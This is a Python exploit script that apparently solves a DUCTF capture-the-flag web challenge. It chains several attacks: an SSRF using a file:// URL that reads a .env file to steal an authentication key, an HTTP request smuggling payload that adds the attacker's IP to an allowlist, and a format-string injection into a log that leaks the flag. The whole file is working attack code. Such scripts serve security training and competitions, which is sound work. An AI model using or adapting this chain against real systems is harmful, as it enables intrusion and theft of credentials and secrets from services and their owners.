#!/usr/bin/env python3

import argparse
import re
import socket
import uuid

import requests


def send_raw(host, port, data):
    with socket.create_connection((host, port), timeout=5) as sock:
        sock.settimeout(2)
        sock.sendall(data)
        reply = b""
        while True:
            try:
                part = sock.recv(4096)
            except socket.timeout:
                break
            if not part:
                break
            reply += part
        return reply


def rpc(path, key=None):
    headers = [
        f"GET {path} HTTP/1.1",
        "Host: dev.rpc-service.ductf",
        "Connection: keep-alive",
    ]
    if key:
        headers.append(f"Auth-Key: {key}")
    return ("\r\n".join(headers) + "\r\n\r\n").encode()


def leak_key(base):
    session = requests.Session()
    headers = {"Host": "dev.customer.ductf"}
    username = f"sodium-{uuid.uuid4().hex[:8]}"

    session.post(
        f"{base}/register",
        headers=headers,
        data={"username": username, "password": "pass"},
        timeout=5,
    ).raise_for_status()
    session.post(
        f"{base}/login",
        headers=headers,
        data={"username": username, "password": "pass"},
        timeout=5,
    ).raise_for_status()

    page = session.post(
        f"{base}/",
        headers=headers,
        data={"url": " file:///home/customerapp/customer_app/.env"},
        timeout=5,
    ).text
    found = re.search(r"AUTHENTICATION_KEY=([^\r\n<]+)", page)
    if not found:
        raise RuntimeError("Could not read AUTHENTICATION_KEY")
    return found.group(1).strip()


def smuggle(key, ip):
    hidden = (
        f"GET /update_allowlist?ip={ip} HTTP/1.1\r\n"
        "Host: dev.rpc-service.ductf\r\n"
        f"Auth-Key: {key}\r\n"
        "X-Forwarded-For: 127.0.0.1\r\n"
        "Transfer-Encoding: chunked\r\n\r\n"
        "0\r\n\r\n"
    )
    return (
        "GET /ping HTTP/1.1\r\n"
        "Host: dev.rpc-service.ductf\r\n"
        "Connection: keep-alive\r\n"
        "Transfer-Encoding: chunked\r\n\r\n"
        "5\r\nAAAAAXX2\r\n"
        f"{len(hidden) + 4:X}\r\n"
        "0\r\n\r\n"
        f"{hidden}"
    ).encode()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=31880)
    args = parser.parse_args()
    base = f"http://{args.host}:{args.port}"

    key = leak_key(base)
    print(f"[+] Auth key: {key}")

    reply = send_raw(args.host, args.port, rpc("/ping"))
    found = re.search(rb"The IP recieved was: ([0-9.]+)", reply)
    if not found:
        raise RuntimeError("Could not read the client IP from /ping")
    ip = found.group(1).decode()
    print(f"[+] Client IP: {ip}")

    send_raw(args.host, args.port, smuggle(key, ip))

    poison = send_raw(
        args.host,
        args.port,
        rpc("/stats?x={config.__init__.__globals__[FLAG]}", key),
    )
    if not poison.startswith(b"HTTP/1.1 500"):
        raise RuntimeError("The format string did not reach the log")

    result = send_raw(
        args.host,
        args.port,
        rpc("/stats?get_log=1&get_config=1", key),
    )
    flag = re.search(rb"DUCTF\{[^}\r\n]+\}", result)
    if not flag:
        raise RuntimeError("Flag not found in stats response")
    print(flag.group().decode())


if __name__ == "__main__":
    main()